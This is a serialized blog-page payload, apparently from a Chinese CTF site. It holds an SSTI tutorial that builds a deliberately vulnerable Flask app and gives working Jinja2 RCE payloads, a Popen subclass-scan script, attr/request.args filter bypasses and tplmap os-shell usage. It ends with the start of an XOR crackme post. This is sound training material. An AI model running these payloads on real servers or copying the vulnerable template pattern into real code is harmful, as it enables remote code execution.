的正确写法：",[23,4697,4699],{"className":1238,"code":4698,"language":1240,"meta":28,"style":28},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n name = request.args.get(\"name\", \"world\")\n return render_template(\"hello.html\", name=name)\n",[30,4700,4701,4706,4710,4715,4719,4724,4729,4734],{"__ignoreMap":28},[33,4702,4703],{"class":35,"line":36},[33,4704,4705],{},"from flask import Flask, render_template\n",[33,4707,4708],{"class":35,"line":47},[33,4709,1460],{"emptyLinePlaceholder":1373},[33,4711,4712],{"class":35,"line":70},[33,4713,4714],{},"app = Flask(__name__)\n",[33,4716,4717],{"class":35,"line":80},[33,4718,1460],{"emptyLinePlaceholder":1373},[33,4720,4721],{"class":35,"line":452},[33,4722,4723],{},"@app.route(\"/\")\n",[33,4725,4726],{"class":35,"line":458},[33,4727,4728],{},"def index():\n",[33,4730,4731],{"class":35,"line":464},[33,4732,4733],{}," name = request.args.get(\"name\", \"world\")\n",[33,4735,4736],{"class":35,"line":470},[33,4737,4738],{}," return render_template(\"hello.html\", name=name)\n",[16,4740,4741,4742,4745,4746,4749],{},"模板文件 ",[30,4743,4744],{},"hello.html"," 内容是固定的 ",[30,4747,4748],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[16,4751,4752],{},"错误写法是把用户输入拼进模板字符串：",[23,4754,4756],{"className":1238,"code":4755,"language":1240,"meta":28,"style":28},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[30,4757,4758],{"__ignoreMap":28},[33,4759,4760],{"class":35,"line":36},[33,4761,4755],{},[16,4763,4764,4767],{},[30,4765,4766],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[11,4769,4771],{"id":4770},"二环境搭建","二、环境搭建",[23,4773,4775],{"className":25,"code":4774,"language":27,"meta":28,"style":28},"pip install flask\n",[30,4776,4777],{"__ignoreMap":28},[33,4778,4779,4781,4783],{"class":35,"line":36},[33,4780,2711],{"class":39},[33,4782,106],{"class":43},[33,4784,4785],{"class":43}," flask\n",[16,4787,1437,4788,561],{},[30,4789,4790],{},"app.py",[23,4792,4794],{"className":1238,"code":4793,"language":1240,"meta":28,"style":28},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n name = request.args.get(\"name\", \"world\")\n html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[30,4795,4796,4801,4805,4809,4813,4817,4821,4825,4830,4835,4839],{"__ignoreMap":28},[33,4797,4798],{"class":35,"line":36},[33,4799,4800],{},"from flask import Flask, request, render_template_string\n",[33,4802,4803],{"class":35,"line":47},[33,4804,1460],{"emptyLinePlaceholder":1373},[33,4806,4807],{"class":35,"line":70},[33,4808,4714],{},[33,4810,4811],{"class":35,"line":80},[33,4812,1460],{"emptyLinePlaceholder":1373},[33,4814,4815],{"class":35,"line":452},[33,4816,4723],{},[33,4818,4819],{"class":35,"line":458},[33,4820,4728],{},[33,4822,4823],{"class":35,"line":464},[33,4824,4733],{},[33,4826,4827],{"class":35,"line":470},[33,4828,4829],{}," html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[33,4831,4832],{"class":35,"line":476},[33,4833,4834],{}," return render_template_string(html, name=name)\n",[33,4836,4837],{"class":35,"line":482},[33,4838,1460],{"emptyLinePlaceholder":1373},[33,4840,4841],{"class":35,"line":1295},[33,4842,4843],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[16,4845,4503],{},[23,4847,4849],{"className":25,"code":4848,"language":27,"meta":28,"style":28},"python app.py\n",[30,4850,4851],{"__ignoreMap":28},[33,4852,4853,4855],{"class":35,"line":36},[33,4854,1240],{"class":39},[33,4856,4857],{"class":43}," app.py\n",[11,4859,4861],{"id":4860},"三核心步骤-1探测","三、核心步骤 1：探测",[16,4863,4864,4866],{},[136,4865,138],{},"：确认\"用户输入被当作模板代码求值\"。",[16,4868,4869,4871,4872,4875,4876,4879],{},[136,4870,144],{},"：模板引擎会执行 ",[30,4873,4874],{},"{{ 表达式 }}","。传 ",[30,4877,4878],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[147,4881,4883],{"id":4882},"_31-正常请求","3.1 正常请求",[23,4885,4887],{"className":25,"code":4886,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[30,4888,4889],{"__ignoreMap":28},[33,4890,4891,4893,4895,4898],{"class":35,"line":36},[33,4892,3515],{"class":39},[33,4894,3518],{"class":412},[33,4896,4897],{"class":43},"http://127.0.0.1:5000/?name=alice",[33,4899,3524],{"class":412},[16,4901,169],{},[23,4903,4907],{"className":4904,"code":4905,"language":4906,"meta":28,"style":28},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[30,4908,4909],{"__ignoreMap":28},[33,4910,4911,4914,4917,4920,4922],{"class":35,"line":36},[33,4912,4913],{"class":63},"\u003C",[33,4915,4916],{"class":56},"h1",[33,4918,4919],{"class":63},">Hello, alice!\u003C/",[33,4921,4916],{"class":56},[33,4923,67],{"class":63},[147,4925,4927],{"id":4926},"_32-表达式求值","3.2 表达式求值",[23,4929,4931],{"className":25,"code":4930,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[30,4932,4933],{"__ignoreMap":28},[33,4934,4935,4937,4939,4942],{"class":35,"line":36},[33,4936,3515],{"class":39},[33,4938,3518],{"class":412},[33,4940,4941],{"class":43},"http://127.0.0.1:5000/?name={{7*7}}",[33,4943,3524],{"class":412},[16,4945,169],{},[23,4947,4949],{"className":4904,"code":4948,"language":4906,"meta":28,"style":28},"\u003Ch1>Hello, 49!\u003C/h1>\n",[30,4950,4951],{"__ignoreMap":28},[33,4952,4953,4955,4957,4960,4962],{"class":35,"line":36},[33,4954,4913],{"class":63},[33,4956,4916],{"class":56},[33,4958,4959],{"class":63},">Hello, 49!\u003C/",[33,4961,4916],{"class":56},[33,4963,67],{"class":63},[16,4965,4966,4969,4970,4973],{},[30,4967,4968],{},"7*7"," 被求值成 ",[30,4971,4972],{},"49","，说明模板表达式生效，SSTI 成立。",[147,4975,4977],{"id":4976},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[490,4979,4980,4993],{},[493,4981,4982],{},[496,4983,4984,4987,4990],{},[499,4985,4986],{},"引擎",[499,4988,4989],{},"语言",[499,4991,4992],{},"探测 payload",[506,4994,4995,5007,5020,5032],{},[496,4996,4997,5000,5003],{},[511,4998,4999],{},"Jinja2 / Twig",[511,5001,5002],{},"Python / PHP",[511,5004,5005],{},[30,5006,4878],{},[496,5008,5009,5012,5015],{},[511,5010,5011],{},"Freemarker",[511,5013,5014],{},"Java",[511,5016,5017],{},[30,5018,5019],{},"${7*7}",[496,5021,5022,5025,5027],{},[511,5023,5024],{},"Velocity",[511,5026,5014],{},[511,5028,5029],{},[30,5030,5031],{},"#set($x=7*7)$x",[496,5033,5034,5037,5040],{},[511,5035,5036],{},"Smarty",[511,5038,5039],{},"PHP",[511,5041,5042],{},[30,5043,5044],{},"{$smarty.version}",[11,5046,5048],{"id":5047},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[16,5050,5051,5053],{},[136,5052,138],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[16,5055,5056,5058,5059,5062,5063,264,5066,264,5069,5072,5073,5076,5077,5079,5080,5083,5084,301],{},[136,5057,144],{},"：模板只能访问少量对象（如 ",[30,5060,5061],{},"config","）。Python 对象有 ",[30,5064,5065],{},"__class__",[30,5067,5068],{},"__init__",[30,5070,5071],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[30,5074,5075],{},"os"," 模块。验证方式：先执行 ",[30,5078,3490],{},"，输出 ",[30,5081,5082],{},"uid=..."," 即成功，再换 ",[30,5085,5086],{},"cat /flag",[16,5088,5089,5090,5092,5093,5095],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[30,5091,5061],{}," 对象，沿 Python 内部属性找到 ",[30,5094,5075],{}," 模块。",[147,5097,5099],{"id":5098},"_41-分步理解","4.1 分步理解",[23,5101,5104],{"className":5102,"code":5103,"language":175,"meta":28},[173],"config → Flask 配置对象\nconfig.__class__ → 它的类（Config）\nconfig.__class__.__init__ → Config 的构造函数\nconfig.__class__.__init__.__globals__ → 构造函数所在模块的全局命名空间（字典）\n__globals__['os'] → os 模块\nos.popen('id').read() → 执行命令并读取输出\n",[30,5105,5103],{"__ignoreMap":28},[147,5107,5109],{"id":5108},"_42-完整-payload","4.2 完整 payload",[23,5111,5114],{"className":5112,"code":5113,"language":175,"meta":28},[173],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[30,5115,5113],{"__ignoreMap":28},[16,5117,5118],{},"用 curl 发送：",[23,5120,5122],{"className":25,"code":5121,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[30,5123,5124],{"__ignoreMap":28},[33,5125,5126,5128,5130,5133],{"class":35,"line":36},[33,5127,3515],{"class":39},[33,5129,3518],{"class":412},[33,5131,5132],{"class":43},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[33,5134,3524],{"class":412},[16,5136,169],{},[23,5138,5140],{"className":4904,"code":5139,"language":4906,"meta":28,"style":28},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[30,5141,5142],{"__ignoreMap":28},[33,5143,5144,5146,5148,5151,5153],{"class":35,"line":36},[33,5145,4913],{"class":63},[33,5147,4916],{"class":56},[33,5149,5150],{"class":63},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[33,5152,4916],{"class":56},[33,5154,67],{"class":63},[16,5156,5157],{},"命令执行成功。读 flag：",[23,5159,5161],{"className":25,"code":5160,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[30,5162,5163],{"__ignoreMap":28},[33,5164,5165,5167,5169,5172],{"class":35,"line":36},[33,5166,3515],{"class":39},[33,5168,3518],{"class":412},[33,5170,5171],{"class":43},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[33,5173,3524],{"class":412},[16,5175,169],{},[23,5177,5179],{"className":4904,"code":5178,"language":4906,"meta":28,"style":28},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[30,5180,5181],{"__ignoreMap":28},[33,5182,5183,5185,5187,5190,5192],{"class":35,"line":36},[33,5184,4913],{"class":63},[33,5186,4916],{"class":56},[33,5188,5189],{"class":63},">Hello, flag{ssti_rce}!\u003C/",[33,5191,4916],{"class":56},[33,5193,67],{"class":63},[16,5195,5196,561,5204,5206],{},[136,5197,5198,5199,5201,5202],{},"为什么先试 ",[30,5200,3490],{}," 再试 ",[30,5203,5086],{},[30,5205,3490],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[147,5208,5210,5211,5214],{"id":5209},"_43-备选链subclasses-扫描","4.3 备选链：",[136,5212,5213],{},"subclasses"," 扫描",[16,5216,5217,5219,5220,5222,5223,301],{},[136,5218,138],{},"：当 ",[30,5221,5061],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[30,5224,5225],{},"subprocess.Popen",[16,5227,5228,5230,5231,561],{},[30,5229,5061],{}," 链不可用时，从字符串对象出发找 ",[30,5232,5225],{},[23,5234,5237],{"className":5235,"code":5236,"language":175,"meta":28},[173],"''.__class__.__mro__[1].__subclasses__()\n",[30,5238,5236],{"__ignoreMap":28},[16,5240,5241],{},"先用 Python 脚本找下标：",[23,5243,5245],{"className":1238,"code":5244,"language":1240,"meta":28,"style":28},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n # 逐个尝试子类下标 0..499，把类名渲染出来。\n payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n # ''：空字符串对象；.__class__：它的类 str；\n # .__mro__[1]：继承链上的 object 类；\n # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n # .__name__：该类的名字，会渲染到页面。\n r = requests.get(url, params={\"name\": payload})\n if \"Popen\" in r.text:\n # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n print(\"Popen index:\", i)\n break\n",[30,5246,5247,5252,5256,5261,5266,5271,5276,5281,5286,5291,5296,5301,5306,5311,5316],{"__ignoreMap":28},[33,5248,5249],{"class":35,"line":36},[33,5250,5251],{},"import requests\n",[33,5253,5254],{"class":35,"line":47},[33,5255,1460],{"emptyLinePlaceholder":1373},[33,5257,5258],{"class":35,"line":70},[33,5259,5260],{},"url = \"http://127.0.0.1:5000/\"\n",[33,5262,5263],{"class":35,"line":80},[33,5264,5265],{},"for i in range(500):\n",[33,5267,5268],{"class":35,"line":452},[33,5269,5270],{}," # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[33,5272,5273],{"class":35,"line":458},[33,5274,5275],{}," payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[33,5277,5278],{"class":35,"line":464},[33,5279,5280],{}," # ''：空字符串对象；.__class__：它的类 str；\n",[33,5282,5283],{"class":35,"line":470},[33,5284,5285],{}," # .__mro__[1]：继承链上的 object 类；\n",[33,5287,5288],{"class":35,"line":476},[33,5289,5290],{}," # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[33,5292,5293],{"class":35,"line":482},[33,5294,5295],{}," # .__name__：该类的名字，会渲染到页面。\n",[33,5297,5298],{"class":35,"line":1295},[33,5299,5300],{}," r = requests.get(url, params={\"name\": payload})\n",[33,5302,5303],{"class":35,"line":1301},[33,5304,5305],{}," if \"Popen\" in r.text:\n",[33,5307,5308],{"class":35,"line":1505},[33,5309,5310],{}," # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[33,5312,5313],{"class":35,"line":1511},[33,5314,5315],{}," print(\"Popen index:\", i)\n",[33,5317,5318],{"class":35,"line":1517},[33,5319,2672],{},[16,5321,169,5322,5325],{},[30,5323,5324],{},"Popen index: 258","（数字因 Python 版本而异）。",[16,5327,5328],{},"然后利用：",[23,5330,5333],{"className":5331,"code":5332,"language":175,"meta":28},[173],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n# shell=True 表示通过 /bin/sh 执行字符串命令；\n# stdout=-1 表示把标准输出接到管道；\n# .communicate()[0]：等待进程结束并取标准输出。\n",[30,5334,5332],{"__ignoreMap":28},[11,5336,5338],{"id":5337},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[16,5340,5341,5343,5344,264,5347,5350],{},[136,5342,138],{},"：题目过滤 ",[30,5345,5346],{},".",[30,5348,5349],{},"[]","、关键词时，用等价写法表达同样的调用。",[16,5352,5353,5355,5356,5359],{},[136,5354,144],{},"：点号访问可以用 Jinja2 的 ",[30,5357,5358],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[16,5361,5362,5363,264,5365,264,5368,5371],{},"题目常过滤 ",[30,5364,5346],{},[30,5366,5367],{},"[",[30,5369,5370],{},"]"," 或关键词。",[147,5373,5375],{"id":5374},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[23,5377,5380],{"className":5378,"code":5379,"language":175,"meta":28},[173],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[30,5381,5379],{"__ignoreMap":28},[147,5383,5385],{"id":5384},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[23,5387,5390],{"className":5388,"code":5389,"language":175,"meta":28},[173],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[30,5391,5389],{"__ignoreMap":28},[16,5393,5394,5395,264,5397,5400],{},"模板里不再出现 ",[30,5396,5075],{},[30,5398,5399],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[11,5402,1038],{"id":1037},[147,5404,5406],{"id":5405},"工具-1curl","工具 1：curl",[23,5408,5410],{"className":25,"code":5409,"language":27,"meta":28,"style":28},"curl \"http://target/?name={{7*7}}\" # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\" # 自动 URL 编码\n",[30,5411,5412,5426],{"__ignoreMap":28},[33,5413,5414,5416,5418,5421,5423],{"class":35,"line":36},[33,5415,3515],{"class":39},[33,5417,3518],{"class":412},[33,5419,5420],{"class":43},"http://target/?name={{7*7}}",[33,5422,4161],{"class":412},[33,5424,5425],{"class":1576}," # 探测\n",[33,5427,5428,5430,5433,5435,5438,5440,5443,5445,5448,5450],{"class":35,"line":47},[33,5429,3515],{"class":39},[33,5431,5432],{"class":241}," -G",[33,5434,3518],{"class":412},[33,5436,5437],{"class":43},"http://target/",[33,5439,4161],{"class":412},[33,5441,5442],{"class":241}," --data-urlencode",[33,5444,3518],{"class":412},[33,5446,5447],{"class":43},"name={{...}}",[33,5449,4161],{"class":412},[33,5451,5452],{"class":1576}," # 自动 URL 编码\n",[147,5454,5456],{"id":5455},"工具-2requests","工具 2：requests",[23,5458,5460],{"className":1238,"code":5459,"language":1240,"meta":28,"style":28},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[30,5461,5462,5466,5470,5475,5480,5485,5490,5495],{"__ignoreMap":28},[33,5463,5464],{"class":35,"line":36},[33,5465,5251],{},[33,5467,5468],{"class":35,"line":47},[33,5469,1460],{"emptyLinePlaceholder":1373},[33,5471,5472],{"class":35,"line":70},[33,5473,5474],{},"url = \"http://target/\"\n",[33,5476,5477],{"class":35,"line":80},[33,5478,5479],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[33,5481,5482],{"class":35,"line":452},[33,5483,5484],{},"r = requests.get(url, params={\"name\": payload})\n",[33,5486,5487],{"class":35,"line":458},[33,5488,5489],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[33,5491,5492],{"class":35,"line":464},[33,5493,5494],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[33,5496,5497],{"class":35,"line":470},[33,5498,5499],{},"print(r.text)\n",[16,5501,5502,5505],{},[30,5503,5504],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[147,5507,5509],{"id":5508},"工具-3tplmap","工具 3：tplmap",[16,5511,5512],{},"模板注入自动化工具：",[23,5514,5516],{"className":25,"code":5515,"language":27,"meta":28,"style":28},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\" # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[30,5517,5518,5527,5546,5565],{"__ignoreMap":28},[33,5519,5520,5522,5524],{"class":35,"line":36},[33,5521,3342],{"class":39},[33,5523,3345],{"class":43},[33,5525,5526],{"class":43}," https://github.com/epinna/tplmap\n",[33,5528,5529,5531,5534,5536,5538,5540,5543],{"class":35,"line":47},[33,5530,771],{"class":770},[33,5532,5533],{"class":43}," tplmap",[33,5535,781],{"class":63},[33,5537,2711],{"class":39},[33,5539,106],{"class":43},[33,5541,5542],{"class":241}," -r",[33,5544,5545],{"class":43}," requirements.txt\n",[33,5547,5548,5550,5553,5555,5557,5560,5562],{"class":35,"line":70},[33,5549,1240],{"class":39},[33,5551,5552],{"class":43}," tplmap.py",[33,5554,4154],{"class":241},[33,5556,3518],{"class":412},[33,5558,5559],{"class":43},"http://target/?name=*",[33,5561,4161],{"class":412},[33,5563,5564],{"class":1576}," # * 是注入点标记\n",[33,5566,5567,5569,5571,5573,5575,5577,5579],{"class":35,"line":80},[33,5568,1240],{"class":39},[33,5570,5552],{"class":43},[33,5572,4154],{"class":241},[33,5574,3518],{"class":412},[33,5576,5559],{"class":43},[33,5578,4161],{"class":412},[33,5580,5581],{"class":241}," --os-shell\n",[11,5583,5585],{"id":5584},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[16,5587,1136,5588,5591,5592,301],{},[30,5589,5590],{},"http://target/?name="," 存在 SSTI，flag 在 ",[30,5593,5594],{},"/flag",[147,5596,5598],{"id":5597},"第一步探测","第一步：探测",[16,5600,5601,5603],{},[136,5602,138],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[23,5605,5607],{"className":25,"code":5606,"language":27,"meta":28,"style":28},"curl \"http://target/?name={{7*7}}\"\n",[30,5608,5609],{"__ignoreMap":28},[33,5610,5611,5613,5615,5617],{"class":35,"line":36},[33,5612,3515],{"class":39},[33,5614,3518],{"class":412},[33,5616,5420],{"class":43},[33,5618,3524],{"class":412},[16,5620,5621,5622,5624],{},"响应含 ",[30,5623,4972],{}," → 确认。",[147,5626,5628],{"id":5627},"第二步直接打","第二步：直接打",[16,5630,5631,5633,5634,5637,5638,5640,5641,5643],{},[136,5632,144],{},"：先 ",[30,5635,5636],{},"config.__globals__"," 链试 ",[30,5639,5086],{},"；如果响应没出现 flag 内容，先改用 ",[30,5642,3490],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[23,5645,5647],{"className":1238,"code":5646,"language":1240,"meta":28,"style":28},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[30,5648,5649,5653,5657,5661,5665,5669],{"__ignoreMap":28},[33,5650,5651],{"class":35,"line":36},[33,5652,5251],{},[33,5654,5655],{"class":35,"line":47},[33,5656,1460],{"emptyLinePlaceholder":1373},[33,5658,5659],{"class":35,"line":70},[33,5660,5474],{},[33,5662,5663],{"class":35,"line":80},[33,5664,5479],{},[33,5666,5667],{"class":35,"line":452},[33,5668,5484],{},[33,5670,5671],{"class":35,"line":458},[33,5672,5499],{},[16,5674,5675],{},"预期输出中出现：",[23,5677,5680],{"className":5678,"code":5679,"language":175,"meta":28},[173],"flag{ssti_rce}\n",[30,5681,5679],{"__ignoreMap":28},[147,5683,5685],{"id":5684},"第三步被过滤时","第三步：被过滤时",[16,5687,5688,5690,5691,5693],{},[136,5689,144],{},"：把点号换成 ",[30,5692,5358],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[16,5695,5696],{},"改用 attr 与 request.args 组合：",[23,5698,5701],{"className":5699,"code":5700,"language":175,"meta":28},[173],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[30,5702,5700],{"__ignoreMap":28},[11,5704,1337],{"id":1336},[16,5706,5707,5708,2303,5710,5713,5714,1125,5716,5719],{},"SSTI 主线：探测 ",[30,5709,4878],{},[30,5711,5712],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[30,5715,5358],{},[30,5717,5718],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1350,5721,5722],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":28,"searchDepth":47,"depth":47,"links":5724},[5725,5726,5727,5728,5729,5730,5731,5732],{"id":4691,"depth":70,"text":4692},{"id":4770,"depth":70,"text":4771},{"id":4860,"depth":70,"text":4861},{"id":5047,"depth":70,"text":5048},{"id":5337,"depth":70,"text":5338},{"id":1037,"depth":70,"text":1038},{"id":5584,"depth":70,"text":5585},{"id":1336,"depth":70,"text":1337},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1366,"image":5735,"alt":5736,"tags":5737,"published":1373},"/blogs-img/blog6.png","SSTI 深入实战",[1370,4678,5738,1372],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":4686,"description":5733},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":5744,"title":5745,"body":5746,"description":6690,"extension":1364,"meta":6691,"navigation":1373,"ogImage":6692,"path":6695,"seo":6696,"stem":6697,"__hash__":6698},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":8,"value":5747,"toc":6679},[5748,5752,5755,5759,5765,5952,5955,5972,5975,5984,5989,6001,6005,6007,6012,6025,6029,6040,6043,6049,6054,6058,6069,6083,6085,6091,6100,6104,6109,6124,6126,6157,6159,6188,6195,6199,6231,6234,6259,6263,6266,6316,6321,6323,6331,6334,6340,6342,6354,6368,6370,6375,6384,6386,6391,6394,6409,6411,6417,6420,6424,6429,6446,6506,6508,6520,6522,6527,6530,6540,6544,6548,6632,6636,6667,6669,6676],[11,5749,5751],{"id":5750},"一现实背景注册码校验","一、现实背景：注册码校验",[16,5753,5754],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[11,5756,5758],{"id":5757},"二题目源码与编译","二、题目源码与编译",[16,5760,5761,5762,561],{},"出题人视角的 ",[30,5763,5764],{},"crackme.c",[23,5766,5768],{"className":816,"code":5767,"language":818,"meta":28,"style":28},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n char key[] = \"k3y\";\n // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n unsigned char enc[] = {\n 0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n 0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n 0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n };\n // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n int n = strlen(input);\n // strlen：求输入长度（不含结尾 \\0）。\n if (n != 24) return 0;\n // 长度必须是 24，先卡掉大部分错误输入。\n for (int i = 0; i \u003C n; i++)\n if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n return 1;\n // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n if (argc != 2) {\n // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n puts(\"Usage: ./crackme \u003Cflag>\");\n return 1;\n }\n if (check(argv[1]))\n // argv[1]：命令行第二个参数，即用户输入的 flag。\n puts(\"Correct!\");\n else\n puts(\"Wrong!\");\n return 0;\n}\n",[30,5769,5770,5774,5779,5783,5788,5793,5798,5803,5808,5813,5818,5823,5828,5833,5838,5843,5848,5853,5858,5863,5868,5873,5878,5882,5886,5891,5896,5901,5906,5911,5916,5921,5926,5931,5936,5942,5947],{"__ignoreMap":28},[33,5771,5772],{"class":35,"line":36},[33,5773,1450],{},[33,5775,5776],{"class":35,"line":47},[33,5777,5778],{},"#include \u003Cstring.h>\n",[33,5780,5781],{"class":35,"line":70},[33,5782,1460],{"emptyLinePlaceholder":1373},[33,5784,5785],{"class":35,"line":80},[33,5786,5787],{},"int check(const char *input) {\n",[33,5789,5790],{"class":35,"line":452},[33,5791,5792],{}," char key[] = \"k3y\";\n",[33,5794,5795],{"class":35,"line":458},[33,5796,5797],{}," // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[33,5799,5800],{"class":35,"line":464},[33,5801,5802],{}," unsigned char enc[] = {\n",[33,5804,5805],{"class":35,"line":470},[33,5806,5807],{}," 0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[33,5809,5810],{"class":35,"line":476},[33,5811,5812],{}," 0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[33,5814,5815],{"class":35,"line":482},[33,5816,5817],{}," 0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[33,5819,5820],{"class":35,"line":1295},[33,5821,5822],{}," };\n",[33,5824,5825],{"class":35,"line":1301},[33,5826,5827],{}," // enc：把正确 flag 